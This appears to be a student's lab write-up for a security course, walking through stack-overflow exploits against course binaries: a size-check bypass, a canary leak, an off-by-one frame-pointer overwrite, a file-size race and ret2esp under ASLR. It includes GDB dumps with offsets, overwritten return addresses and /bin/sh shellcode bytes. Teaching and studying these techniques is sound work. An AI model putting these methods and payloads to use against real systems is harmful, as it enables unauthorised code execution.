Question 2: Compromising Further

Main Idea

The idea for this question is to create a file in a way that we can bypass the size restrictions imposed by the first character of the file and input a sizable amount of data, overflowing the variable msg. Since the size restrictions don't check whether the value of the character is negative and the same is passed to fread as a size_t, which is unsigned, if we input a character with a negative value, the read size will be much bigger than the size of msg and will still be read. After being able to perform the oveflow, we're able to change the value of the RIP, changing the eip's value to the shellcode address when returning from display. This way, with the Stack being executable, the exploit will be successful.

Magic Numbers

```
invoke -d agent-smith anderson.txt
(gdb) break 22
(gdb) run
...
(gdb) i f
Stack level 0, frame at 0xbffff6d0:
 eip = 0x400736 in display (agent-smith.c:22); saved eip = 0x400775
 called by frame at 0xbffff700
 source language c.
 Arglist at 0xbffff6c8, args: path=0xbffff87c "anderson.txt"
 Locals at 0xbffff6c8, Previous frame's sp is 0xbffff6d0
 Saved registers:
  ebx at 0xbffff6c4, ebp at 0xbffff6c8, eip at [0xbffff6cc]
(gdb) x/64x msg
[0xbffff638]:    0x20756f59      0x65766168      0x70206120      0x6c626f72
0xbffff648:     0x77206d65      0x20687469      0x68747561      0x7469726f
0xbffff658:     0x4d202c79      0x41202e72      0x7265646e      0x2e6e6f73
0xbffff668:     0x756f590a      0x6c656220      0x65766569      0x756f7920
0xbffff678:     0x65726120      0x65707320      0x6c616963      0x6874202c
0xbffff688:     0x73207461      0x68656d6f      0x7420776f      0x72206568
0xbffff698:     0x73656c75      0x206f6420      0x20746f6e      0x6c707061
0xbffff6a8:     0x6f742079      0x756f7920      0x00000a2e      0x00000000
0xbffff6b8:     0x0000007a      0xb7fff270      0x00000000      0xb7ffcf5c
0xbffff6c8:     0xbffff6e8      [0x00400775]     0xbffff87c      0x00000000
...
```

Considering these addresses, we conclude that msg is 148 bytes away from the RIP, since 0xbffff6cc - 0xbffff638 = 0x94 = 148.

Exploit Structure

The exploit will be written in msg, so it should start at 0xbfffff638. So it goes as follows:

0xbffff638: This address should hold the character that will determine the size of the read input. As specified in the Main Idea section, we must use a negative value character. For this, I have found UTF-8 characters to be of use, and so, I picked the value of "éŠŞ". However, since it's a UTF-8 character, it can occupy more than 1 byte, this one occupies 2 bytes, so the next address will be 0xbffff63c.

0xbffff63c: Since the distance between msg and the RIP is 148 bytes and we have already filled 2 bytes, we'll just need to write 146 characters to pad their distance.

0xbffff6cc: Now that we are on the RIP address, we need to write a pointer to the first byte of shellcode. For this, I just added 0x04 to this address, which resulted in 0xbffff6d0.

0xbffff6d0: This is where I wrote shellcode.

Exploit GDB Output

```
(gdb) break 22
(gdb) i f
Stack level 0, frame at 0xbffff6d0:
 eip = 0x400736 in display (agent-smith.c:22); saved eip = [0xbffff6d0]
 called by frame at 0x61616169
 source language c.
 Arglist at 0xbffff6c8, args: path=0xcd58326a <error: Cannot access memory at address 0xcd58326a>
 Locals at 0xbffff6c8, Previous frame's sp is 0xbffff6d0
 Saved registers:
  ebx at 0xbffff6c4, ebp at 0xbffff6c8, eip at 0xbffff6cc
(gdb) x/16x [0xbffff6cc]
0xbffff6cc:     [0xbffff6d0]      [0xcd58326a      0x89c38980      0x58476ac1
0xbffff6dc:     0xc03180cd      0x2f2f6850      0x2f686873      0x546e6962
0xbffff6ec:     0x8953505b      0xb0d231e1      0x0a80cd0b]      0xbffff780
0xbffff6fc:     0xb7f8cc8b      0x00000002      0xbffff774      0xbffff780
```

As you can see, the saved eip points to the address on which the shellcode starts (0xbffff6d0). Following that, the exploit executes properly and we receive permission to cat README.

Question 3: Secret Exfiltration

Main Idea

This question introduces the Stack Canary, which makes overwriting the RIP much harder than the first 2 questions. The goal is to get the Canary's value and overwrite it with the same value as we go past it in search of the RIP address. Since we can communicate with the agent-jz program, the first message we send it should receive as response data with the Canary's value and the following to finish the exploit.

The gets function enables us to send an input of arbitrary size to c.buffer, which makes overflowing easy in this question. However, the input goes through a dehexifier, which can take hexadecimal input and turn it into integers, turning our inputted shellcode into something different. That being said, the problem with this function is that it doesn't check if the hexadecimal escape holds any values. Hence, if we inputted something like 1234, the function would jump over the because it would think it's one of the hexadecimal digits of the input and would write an answer without a null terminator. This makes us able to print everything that comes after the variable answer until a null terminator appears (It could appear in the Canary's value but it's unusual and that's why the exploit runs 3 times), which, conveniently, happens on the value of ebx, and, therefore, print the Canary's value. Not only that, but the counter j won't become a problem when the line answer[j] = 0 is executed since j will become an offset greater than the difference between answer and the Canary's address and won't overwrite it with a 0x00.

Magic Numbers

```
(gdb) break 31
(gdb) run
12345678901234
...
(gdb) i f
Stack level 0, frame at 0xbffff714:
 eip = 0x4007e4 in dehexify (agent-jz.c:32); saved eip = [0x400839]
 called by frame at 0xbffff720
 source language c.
 Arglist at 0xbffff70c, args:
 Locals at 0xbffff70c, Previous frame's sp is 0xbffff714
 Saved registers:
  ebx at 0xbffff708, ebp at 0xbffff70c, eip at [0xbffff710]
(gdb) x [0xbffff708]
0xbffff708:     0x[00]401fb0
(gdb) x/16x c.buffer
[0xbffff6f4]:     0x34333231      0x38373635      0x32313039      0x00003433
0xbffff704:     [0x4270f21c]      0x[00]401fb0      0xbffff718      [0x00400839]
0xbffff714:     0xb7ffcf5c      0xbffff79c      0xb7f8cc8b      0x00000001
0xbffff724:     0xbffff794      0xbffff79c      0x00000008      0x00000000
(gdb) x c.answer
0xbffff6e4:     0x34333231
```

As you can see, I inputted 14 bytes of input so the from gets and the from the answer[j] = 0 line don't affect the Canary or the copied Canary. We can find that the distance between c.buffer and the Canary is 0xbffff704 - 0xbffff6f4, which is equal to 16 bytes, that the distance between the Canary and the RIP is 0xbffff710 - 0xbffff70, which equals to 8 bytes. Also, we can see that c.answer is located right before c.buffer.

Exploit Structure

For this question, we divide the exploit into the following 2 steps:

- Finding the Canary's value

  To do this we must fill the c.buffer with 12 characters followed by an empty hexadecimal escape, which, by adding the null terminator, adds up to 15 bytes (e.g. 123456789012). This will make sure that c.buffer is copied by c.answer without any null terminators (the loose would make sure that both the null terminator from gets and the 1st character from the Canary are converted into a not null character) and that the dehexifier keep on reading past c.buffer. This will allow c.answer to receive the Canary's value and the null terminator from exp.

  By the end, our interact script receives a message that contains the data from the beginning of c.buffer to the first 3 bytes of the exp. This should give us all the information needed to overwrite the Canary without crashing the program.

- Injecting malicious shellcode

  Now, having the Canary's value, we have to reach the RIP from c.buffer and make sure that the dehexifier doesn't ruin the shellcode or the Canary's value. To do that, we must input a null terminator before setting up the important data so that the function stops there. So what I did was to fill the 16 bytes from c.buffer with 15 * 'A' followed by the Canary's value, 8 bytes of padding to get to the RIP, the address in which I would write the shellcode: 0xbffff714 (4 bytes after the RIP just like in question 2 and 1) and, finally, the malicious shellcode.

Exploit GDB Output

It is only possible to get the GDB output from the 1st step of the exploit, since it's based solely on the input. It is the following:

```
(gdb) break 32
(gdb) run
1234567789012\x
...
(gdb) x/16x c.answer
0xbffff6e4:     0x34333231      0x38373635      0x32313039      0x853798b9
0xbffff6f4:     0x401fb005      0x38373600      0x32313039      0x0000785c
0xbffff704:     0x05853798      0x00401fb0      0xbffff718      0x00400839
0xbffff714:     0xb7ffcf5c      0xbffff79c      0xb7f8cc8b      0x00000001
```

We can see that, from the beginning of c.answer, there are repetitions of bytes, not only from the sequence 0x30 0x31 0x32 ..., but also from random numbers like 05853798,which is the value of the Canary, now copied to an address that will be printed.

Question 4: Deep Infiltration

Main Idea

The flip function uses a loop that doesn't consider the scenario in which i = 64 that would cause buf to be overflown by 1 byte. As the Project specification already suggests, we are able to follow the ASLR Smack Laugh Reference idea for an exploit that uses solely 1 byte of overflow. There is, also, the possibility to set environment variables located after the Kernel position on the Stack and, of course, to input data. Section 10 from the suggested reading shows that we are able to change the value of the Stack Frame Pointer to the lowest address in buf in order to move the ebp to there, consequently, moving the esp there as well (after having already been to the previous stack frame) and, while the ebp moves to the base of the previous stack frame, esp points eip to an address inside buf. This enables us to point the eip to an environment variable in which we store the shellcode. We must also note that the input will be applied to an XOR function, so to be able to have it correctly set, we must first apply XOR on it ourselves.

Magic Numbers

Since the addresses will become different whether the environment variables are set or not as well as if the size of the argument is the same or not, the following code already has part of the exploit ready: the shellcode is the value of ENV and 65 dummy characters as arguments (we'll obviously need 64 bytes + 1 to change the least significant byte of the SFP).

```
invoke -D agent-brown aaaaaaaaaaa
(gdb) break 21
(gdb) run
...
(gdb) i f
Stack level 0, frame at 0xbffff688:
 eip = 0xb7ffc52b in invoke (agent-brown.c:21); saved eip = 0xb7ffc539
 called by frame at 0xbffff669
 source language c.
 Arglist at 0xbffff680, args: in=0xbffff820 'A' <repeats 65 times>
 Locals at 0xbffff680, Previous frame's sp is 0xbffff688
 Saved registers:
  ebp at 0xbffff680, eip at 0xbffff684
(gdb) x $ebp
0xbffff680:     [0xbffff661]
(gdb) x buf
[0xbffff640]:     0x61616161
(gdb) x/16s *((char **) environ)
...
0xbfffff9f:     "ENV=j2XÍĂ\211ÃĽ\301jGXÍĂ1\300Ph//shh/binT[PS\211\341\061Ȍř\vÍĂ"
...
(gdb) x 0xbfffffa3
0xbfffffa3:     "j2XÍĂ\211ÃĽ\301jGXÍĂ1\300Ph//shh/binT[PS\211\341\061Ȍř\vÍĂ"
```

We can see that the SFP has almost the same address as buf, with a small difference on the least significant byte, which is the one we're able to alter. We can also see that the ENV variable is located in the address 0xbfffff9f.

Exploit Structure

Having the environment set, we must finalize the exploit in arg. Having the input directed to the buf variable, we should structure it as follows:

0xbffff640: Since the esp will not move the values in this address to the eip, it can be filled with 4 dummy characters.

0xbffff644: This is where the esp will move its value to the eip. Therefore, here is where the address for the ENV variable should be. So it should be filled with 0xbfffffa3, since 0xbfffff9f points to the name ENV as well. Considering that this value will be applied to an XOR function with 32, the correct value is 0x9fdfdf83.

0xbffff648: Now, the objective is to add padding to buf so it can get to the SFP. So we should add 56 dummy characters.

0xbffff680: At this point, we are only able to add 1 byte. So we should add 0x40 so that 0xbffff661(it's already overwritten by the dummy character 'A' XOR 32 in the example) turns into 0xbffff640, pointing to the bottom of buf. Still having to apply the XOR, the correct byte to add would be 0x60.

Exploit GDB Output

Having the correct arg exploit, we have the following output at GDB:

```
(gdb) break 21
(gdb) run
...
(gdb) x $ebp
0xbffff680:     0xbffff640
(gdb) x buf
0xbffff640:     0x61616161
(gdb) n
...
(gdb) i f
Stack level 0, frame at 0xbffff648:
 eip = 0xb7ffc53c in dispatch (agent-brown.c:26); saved eip = [0xbfffffa3]
 called by frame at 0x61616169
 source language c.
 Arglist at 0xbffff640, args: in=0x61616161 <error: Cannot access memory at address 0x61616161>
 Locals at 0xbffff640, Previous frame's sp is 0xbffff648
 Saved registers:
  ebp at 0xbffff640, eip at 0xbffff644
```

Question 5: Against the Clock

Main Idea

This question is based on timing the messages properly. The dejavu file checks the size of the file right at its start and waits for a message saying the number of bytes to be read. Having this said, the size of the file can be changed while the program asks for the number of bytes to read, it should be only a matter of timing. As we are able to do so, we can start with the file in an accepted size, send the amount of data we need to input to overflow the variable buf, get to the RIP and overflow it with the adjacent address, as it was done on Question 1, 2 and 3.

Magic Numbers

```
(gdb) break 40
(gdb) run
...
(gdb) i f
Stack level 0, frame at 0xbffff710:
 eip = 0x400922 in main (dejavu.c:41); saved eip = 0xb7f8cc8b
 source language c.
 Arglist at 0xbffff6f8, args:
 Locals at 0xbffff6f8, Previous frame's sp is 0xbffff710
 Saved registers:
  ebx at 0xbffff6f4, ebp at 0xbffff6f8, eip at [0xbffff70c]
(gdb) x buf
[0xbffff668]:     0x0a616161
```

Now we know that the difference between buf and the RIP is of 164 bytes (0xbffff70c - 0xbffff668).

Exploit Structure

For this exploit to work, we must time things so that the program doesn't find out we are using a bigger file than possible. For this, it is possible to use a sleep(1) call in the interact script right at the beginning so we can have the program check the starting size of the file hack. Right after the script wakes up, the file should have already been checked and we can move on to sending the number of bytes to read (253 because of 164 bytes to RIP + 4 bytes for the new address + 85 bytes for the shellcode) as well as writing on the hack file.

The structure for the exploit should be the following:

0xbffff668: This should pad the difference between buf and RIP, therefore it should write 164 dummy characters. However, because we are returning from the main function, the registers must not point to garbage. For that reason, just to make sure that they aren't able to point to unreachable addresses, I used 42 instances of the wanted return address mentioned below (0xbffff710).

0xbffff70c: The pointer inside the RIP should now be the address of the next bytes, hence the new address 0xbffff710.

0xbffff710: From this point forward, we should write the shellcode.

Exploit GDB Output

Using 2 terminals, I was able to debug the code by changing the size of hack manually while the program asked for the numbers of bytes to read. Therefore, after the execution of the exploit, this is what the GDB output looks like:

```
    (gdb) break 40
(gbd) run
...
How many bytes should I read? 253
...
(gdb) i f
Stack level 0, frame at 0xbffff710:
 eip = 0x400922 in main (dejavu.c:41); saved eip = [0xbffff710]
 source language c.
 Arglist at 0xbffff6f8, args:
 Locals at 0xbffff6f8, Previous frame's sp is 0xbffff710
 Saved registers:
  ebx at 0xbffff6f4, ebp at 0xbffff6f8, eip at 0xbffff70c
(gdb) x/64x buf
0xbffff668:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff678:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff688:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff698:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff6a8:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff6b8:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff6c8:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff6d8:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff6e8:     0x000000fd      0xbffff710      0xbffff710      0xbffff710
0xbffff6f8:     0xbffff710      0xbffff710      0xbffff710      0xbffff710
0xbffff708:     0xbffff710      0xbffff710      0xdb31c031      0xd231c931
0xbffff718:     0xb05b32eb      0xcdc93105      0xebc68980      0x3101b006
...
```

We can see the repeated addresses and that, on 0xbffff710, the shellcode begins.

Question 6: The Last Bastion

Main Idea

After reading Section 8 of ASLR Smack Laugh Reference, reading the code thoroughly and looking for similarities in the given code and the presented methods, I came to the conclusion that the method to be used for this question would be the ret2esp method. First, we need to find a way to input largely sized data into the program. For that, we find that the buf variable is filled within a recv function at line 27 in a way that the size limitation for the input is equal to 32 « 3, which equals to 256, enabling us to put more than enough bytes to overflow buf. However, we do have to consider that we are on an ASLR enabled program. This would mean that even being able to know the difference between the buf variable and the RIP, we can't tell where we are storing the shellcode so that we can return to that address. As the ret2esp method says, we need to execute a jmp esp command when the esp is pointing to the shellcode. The jmp esp command has the decimal value of 58623, which is exactly the value that is applied to an OR operation with the variable i. Since the text segment of the process has fixed addressing, we are able to overwrite the RIP value to return to this command while the esp, after being moved to its corresponding value in the previous Stack Frame, points to the shellcode, located right on top of the RIP.

Magic Numbers

As already mentioned, even though we don't have fixed addresses for the Stack, the difference between them are always the same. We only need to find the address of the jmp esp operation and the distance between buf and the RIP. So here is how we find it:

```
invoke -d agent-jones 42000
(gdb) break 40
(gdb) run
... # running debug-exploit
(gdb) disass magic
Dump of assembler code for function magic:
...
   0x08048663 <+31>:    orl    $0xe4ff,0x8(%ebp)
...
(gdb) x 0x08048663
0x8048663 <magic+31>:   0xff084d81
(gdb) x 0x08048666
[0x8048666] <magic+34>:   [0x0000e4ff]
(gdb) i f
Stack level 0, frame at 0xbf9e1650:
 eip = 0x804877d in handle (agent-jones.c:40); saved eip = 0x8048666
 called by frame at 0x41414149
 source language c.
 Arglist at 0xbf9e1648, args: client=-24
 Locals at 0xbf9e1648, Previous frame's sp is 0xbf9e1650
 Saved registers:
  ebx at 0xbf9e1644, ebp at 0xbf9e1648, eip at [0xbf9e164c]
(gdb) x buf
[0xbf9e1620]:     0x03030303
```

As we can see, the instruction for jmp esp with the value 58623 (0x0000e4ff) is located in the address 0x8048666. The distance between buf and the RIP is 0xbf9e164c - 0xbf9e1620, which equals 44.

Exploit Structure

Having the Magic Numbers set, the exploit is really simple. From the first buf address, we need padding to get to the RIP, which requests 44 dummy characters. After this, we can fill the RIP with the address to the jmp esp command, followed by printing the shellcode.

Exploit GDB Output

Running the exploit on the same process instance of the Magic Number section gives us the following GDB output:

```
    ...
(gdb) i f
Stack level 0, frame at 0xbf9e1650:
 eip = 0x804877d in handle (agent-jones.c:40); saved eip = [0x8048666]
 called by frame at 0x41414149
 source language c.
 Arglist at 0xbf9e1648, args: client=-24
 Locals at 0xbf9e1648, Previous frame's sp is 0xbf9e1650
 Saved registers:
  ebx at 0xbf9e1644, ebp at 0xbf9e1648, eip at 0xbf9e164c
(gdb) x/16x buf
0xbf9e1620:     0x03030303      0x03030303      0x03030303      0x03030303
0xbf9e1630:     0x03030303      0x03030303      0x03030303      0x03030303
0xbf9e1640:     0x41414141      0x41414141      0x41414141      [0x08048666]
0xbf9e1650:     0xffffffe8      0x8d5dc3ff      0xc0314a6d      0x5b016a99
(gdb) next
0xbf9e1650 in ?? ()
(gdb) x $esp
0xbf9e1650:     0xffffffe8
```

We can see that the saved eip value points to the address of the jmp esp command. Also, we can identify the padding characters (I used 'A', which equals to 0x41414141 and, for the first 32 bytes, to which a XOR operation was applied 0x03030303), the address for jmp esp on the Stack and, after running the next command on GDB, the esp pointing to the first bytes of the shellcode: 0xffffffe8.